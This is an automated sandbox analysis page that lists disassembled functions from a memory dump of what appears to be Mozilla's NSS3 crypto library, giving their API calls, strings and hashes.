Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: cdc106910b0197e8aec4fda9c8250fde30f5a06f898c299105d5c511b644aea2
Instruction ID: b8598242bc0742633e2f690fb309eb75a328580fcf94740c19df133b670ba008
Opcode Fuzzy Hash: cdc106910b0197e8aec4fda9c8250fde30f5a06f898c299105d5c511b644aea2
Instruction Fuzzy Hash: BDC10970F052565FEB109FA9BD407AE7BB4BF1628CF180028EC55A7B01E735E998C7A1

Function 6C9C99C0 Relevance: 47.7, APIs: 25, Strings: 2, Instructions: 457stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C9A6D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(-000000F9), ref: 6C9C9A89
PORT_Alloc_Util.NSS3(68006A0F), ref: 6C9C9AA2
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9C9AB9
memcpy.VCRUNTIME140(00000001,?,FFFFD003), ref: 6C9C9AD4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,81C189C6,?,?,?,6C9C9F85,81C189C6,00000000,00000000,?,6C9B3C7B), ref: 6C9C9B02
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C9BC5

Part of subcall function 6C9BB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C9C1397,00000000,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1CB
Part of subcall function 6C9BB1A0: free.MOZGLUE(5B5F5EC0,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1D2

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9C9BDE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9C9C29
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9C9C38
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9C9C49
free.MOZGLUE(00000000), ref: 6C9C9C5A
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9C9C9D
PK11_IsLoggedIn.NSS3(00000000,00000000), ref: 6C9C9CCE
free.MOZGLUE(00000000), ref: 6C9C9CFC

Part of subcall function 6C9C11C0: PR_NewLock.NSS3 ref: 6C9C1216

CERT_DestroyCertificate.NSS3(00000000), ref: 6C9C9D05
CERT_IsCACert.NSS3(00000000,?), ref: 6C9C9D17
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C9C9E53
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C9C9E65
TlsGetValue.KERNEL32 ref: 6C9C9E89
EnterCriticalSection.KERNEL32(6C9B3C7B), ref: 6C9C9E9D
PR_Unlock.NSS3 ref: 6C9C9EB5
free.MOZGLUE(81C189C6), ref: 6C9C9EC7
free.MOZGLUE(81C189C6), ref: 6C9C9ED7
PK11_DoesMechanism.NSS3(00000000,00001011), ref: 6C9C9EEF

Part of subcall function 6C9F1560: TlsGetValue.KERNEL32(00000000,?,6C9C0844,?), ref: 6C9F157A
Part of subcall function 6C9F1560: EnterCriticalSection.KERNEL32(?,?,?,6C9C0844,?), ref: 6C9F158F
Part of subcall function 6C9F1560: PR_Unlock.NSS3(?,?,?,?,6C9C0844,?), ref: 6C9F15B2

Strings

ID , xrefs: 6C9C9B64
Cert, xrefs: 6C9C9B6B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$strlen$Alloc_CriticalDestroySectionUtilmemcpy$ArenaEnterErrorK11_PublicUnlockValue$CertCertificateDeleteDoesLockLoggedMechanism
String ID: ID $Cert
API String ID: 249077162-1549779482
Opcode ID: 0669abd729f898de293a42f7f759877de4b8682fd82db38c31a4bcba15bc5e3c
Instruction ID: b18ac35cc27e7efffd1ea637bc80b394bc339339b5ba40a8bfe901178eefe109
Opcode Fuzzy Hash: 0669abd729f898de293a42f7f759877de4b8682fd82db38c31a4bcba15bc5e3c
Instruction Fuzzy Hash: 4CF1F5B0F01605ABEB01DF68DC44BEA77B8AF2530CF154029E819A7B41E735D959CB93

Function 6CA07C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA07C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CA07C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA07D1E

Part of subcall function 6CA07870: SECOID_FindOID_Util.NSS3(?,?,?,6CA091C5), ref: 6CA0788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA07D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CA07D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA07DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA07DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA07DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA07E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CA07E58

Part of subcall function 6CA07870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA091C5), ref: 6CA078BB
Part of subcall function 6CA07870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CA091C5), ref: 6CA078FA
Part of subcall function 6CA07870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07930
Part of subcall function 6CA07870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07951
Part of subcall function 6CA07870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA07964
Part of subcall function 6CA07870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CA0797A
Part of subcall function 6CA07870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CA07988
Part of subcall function 6CA07870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CA07998
Part of subcall function 6CA07870: free.MOZGLUE(00000000), ref: 6CA079A7
Part of subcall function 6CA07870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA079BB
Part of subcall function 6CA07870: PR_GetCurrentThread.NSS3(?,?,?,?,6CA091C5), ref: 6CA079CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA07E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA07F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA07F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA07FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA07FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CA08038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CA08050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CA08093
SECOID_FindOID_Util.NSS3 ref: 6CA07F29

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA08072
SECOID_FindOID_Util.NSS3 ref: 6CA080F5

Part of subcall function 6CA0BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CA0800A,00000000,?,00000000,?), ref: 6CA0BC3F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 0d059ed93085beed4318613ca25d71aa4ec0b180720db5f6ac063723b2da937f
Instruction ID: 361c532dcaa1a2f38f15da3fcee3b9fb28a2f011fee3acd0efb8a0402a985578
Opcode Fuzzy Hash: 0d059ed93085beed4318613ca25d71aa4ec0b180720db5f6ac063723b2da937f
Instruction Fuzzy Hash: 39E16C717053009FD700CF28E980B5A77E5AF4438CF14496DE99ADBB51E732E899CB52

Function 6C9C79F0 Relevance: 30.5, APIs: 20, Instructions: 455COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CACAB28,000000FC), ref: 6C9C7A1E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9C7A48

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorValuememcpy
String ID:
API String ID: 3044119603-0
Opcode ID: 70868c9e0d928378cccf056949a2ad75dd4118ac3525a38d52685c1f295ffac8
Instruction ID: 56a201da415c26a27fa61f5601127d49244d805758c4fca8be3df4061cd244f6
Opcode Fuzzy Hash: 70868c9e0d928378cccf056949a2ad75dd4118ac3525a38d52685c1f295ffac8
Instruction Fuzzy Hash: 260283B1E002199BDB25CF54CC44BDAB7B8AF19308F0481E9E50DA7641E771DE99CF92

Function 6C991C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C991C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C991C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C991CA1
GetLengthSid.ADVAPI32(?), ref: 6C991CA9
malloc.MOZGLUE(00000000), ref: 6C991CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C991CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C991CE4
GetLengthSid.ADVAPI32(?), ref: 6C991CEC
malloc.MOZGLUE(00000000), ref: 6C991CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C991D0F
CloseHandle.KERNEL32(?), ref: 6C991D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C991D4D
GetLastError.KERNEL32 ref: 6C991D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C991D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C991D7A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4865820dde027ac1a22a92741be27e4a0515fe4c2e267646f4315c380524b828
Instruction ID: de59e2d27bb8bab2b97e12ca1e7b02f0e870e51584bfb788c1b175aff59d734c
Opcode Fuzzy Hash: 4865820dde027ac1a22a92741be27e4a0515fe4c2e267646f4315c380524b828
Instruction Fuzzy Hash: B63173B5A00319AFEB24EF65DC48BAA7BB8FF4A308F048169F51892111E7309995CF65

Function 6C993D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C993DFB
__allrem.LIBCMT ref: 6C993EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C993FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C994047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9940DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C99415F
__allrem.LIBCMT ref: 6C99416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C994288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C9942AB
__allrem.LIBCMT ref: 6C9942B7

Strings

%02d, xrefs: 6C994086
%04d, xrefs: 6C99407B
%03d, xrefs: 6C9942E8
%lld, xrefs: 6C993FB2

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: a4a82a8dcf72e52755debdc0cbf2cbf70110d177374432e4e6c830551637bfd6
Instruction ID: b325dd5a189fc68c473543d5096f434fb4a19952273e8aa640d9a1ece7c7d037
Opcode Fuzzy Hash: a4a82a8dcf72e52755debdc0cbf2cbf70110d177374432e4e6c830551637bfd6
Instruction Fuzzy Hash: B0F1F571A087409FE716CF38C84176BB7FABF99308F188A1DF49997A51E731D8858B42

Function 6C941C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C941D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C941EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C941FB7

Strings

sqlite_temp_master, xrefs: 6C941C5C
sqlite_master, xrefs: 6C941C61
another row available, xrefs: 6C942287
unsupported file format, xrefs: 6C942188
attached databases must use the same text encoding as main database, xrefs: 6C9420CA
no more rows available, xrefs: 6C942264
table, xrefs: 6C941C8B
abort due to ROLLBACK, xrefs: 6C942223
unknown error, xrefs: 6C942291
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C941F83

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: c7b0aa848192d853e521db73be170df96076a4af6354a1bb1a71d2ca7e375c58
Instruction ID: 9c9362759969dca1671b113b0f9f74f76f234afcbcb9e0d1bd97d36fa40c36fd
Opcode Fuzzy Hash: c7b0aa848192d853e521db73be170df96076a4af6354a1bb1a71d2ca7e375c58
Instruction Fuzzy Hash: C712C0706087418FD704CF19C484A5AB7F6BF9A318F18C5ADE8859BB52D731E846CB92

Function 6CA0EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CA0DAE2,?), ref: 6CA0C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CA0F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CAD218C), ref: 6CA0F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CA0F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA0F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CA0F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CA0F210

Part of subcall function 6C9B52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CA0F1E9,?,00000000,?,?), ref: 6C9B52F5
Part of subcall function 6C9B52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C9B530F
Part of subcall function 6C9B52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C9B5326
Part of subcall function 6C9B52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CA0F1E9,?,00000000,?,?), ref: 6C9B5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA0F227

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CA0F23E

Part of subcall function 6C9FBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C9AE708,00000000,00000000,00000004,00000000), ref: 6C9FBE6A
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?), ref: 6C9FBE7E
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CA0F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA0F3A8

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CA0F3B3

Part of subcall function 6C9B2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C9B2D3C
Part of subcall function 6C9B2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9B2D5F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: e0c28c8bd1689bc3b4e7c72811c2e7702644863447e66a2f7a227084beb94507
Instruction ID: 5d451b09f6886ca1f1077c10142ca090a8fca5c329a905e2d04e4d3c5a42ab2f
Opcode Fuzzy Hash: e0c28c8bd1689bc3b4e7c72811c2e7702644863447e66a2f7a227084beb94507
Instruction Fuzzy Hash: 4DD18DB6E012059BDB04CFA9EC80A9EB7B5EF4835CF18802DD925B7711E731E846CB55

Function 6CA3DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CA17FFA,00000000,?,6CA423B9,00000002,00000000,?,6CA17FFA,00000002), ref: 6CA3DE33

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6CA3D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CA3DE74,6CA17FFA,00000002,?,?,?,?,?,00000000,6CA17FFA,00000000,?,6CA423B9,00000002), ref: 6CA3D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CA17FFA,00000000,?,6CA423B9,00000002,00000000,?,6CA17FFA,00000002), ref: 6CA3DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CA3DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA3E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA3E121
PK11_FreeSymKey.NSS3(?), ref: 6CA3E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CA3E195
PR_GetCurrentThread.NSS3 ref: 6CA3E1FC

Part of subcall function 6CA32460: PR_SetError.NSS3(FFFFE005,00000000,6CAD7379,00000002,?), ref: 6CA32493

Strings

key, xrefs: 6CA3E046
handshake data, xrefs: 6CA3DFF7
application data, xrefs: 6CA3DFE0
early application data, xrefs: 6CA3DFC9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: b60aa664e4cfddfdfaabd94d1aa92bfee4af5cc91942e3fe726f9f3aab1c79a9
Instruction ID: 14a542d9bf468fa5903732a01aeee4999af40be128bb455342d583fddd409f6d
Opcode Fuzzy Hash: b60aa664e4cfddfdfaabd94d1aa92bfee4af5cc91942e3fe726f9f3aab1c79a9
Instruction Fuzzy Hash: 29C1D671A002259BDB04CF69DD90BAAB7B5FF05308F184129E90DDBA51E335ED94CBA1

Function 6C9E3850 Relevance: 21.2, APIs: 14, Instructions: 233COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9E389F
EnterCriticalSection.KERNEL32(?), ref: 6C9E38B3
PR_Unlock.NSS3(?), ref: 6C9E38F1
TlsGetValue.KERNEL32 ref: 6C9E390F
EnterCriticalSection.KERNEL32(?), ref: 6C9E3923
PR_Unlock.NSS3(?), ref: 6C9E3972
TlsGetValue.KERNEL32 ref: 6C9E3996
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E39AE
PR_Unlock.NSS3(?), ref: 6C9E39DB
PR_Unlock.NSS3(?), ref: 6C9E3A16

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
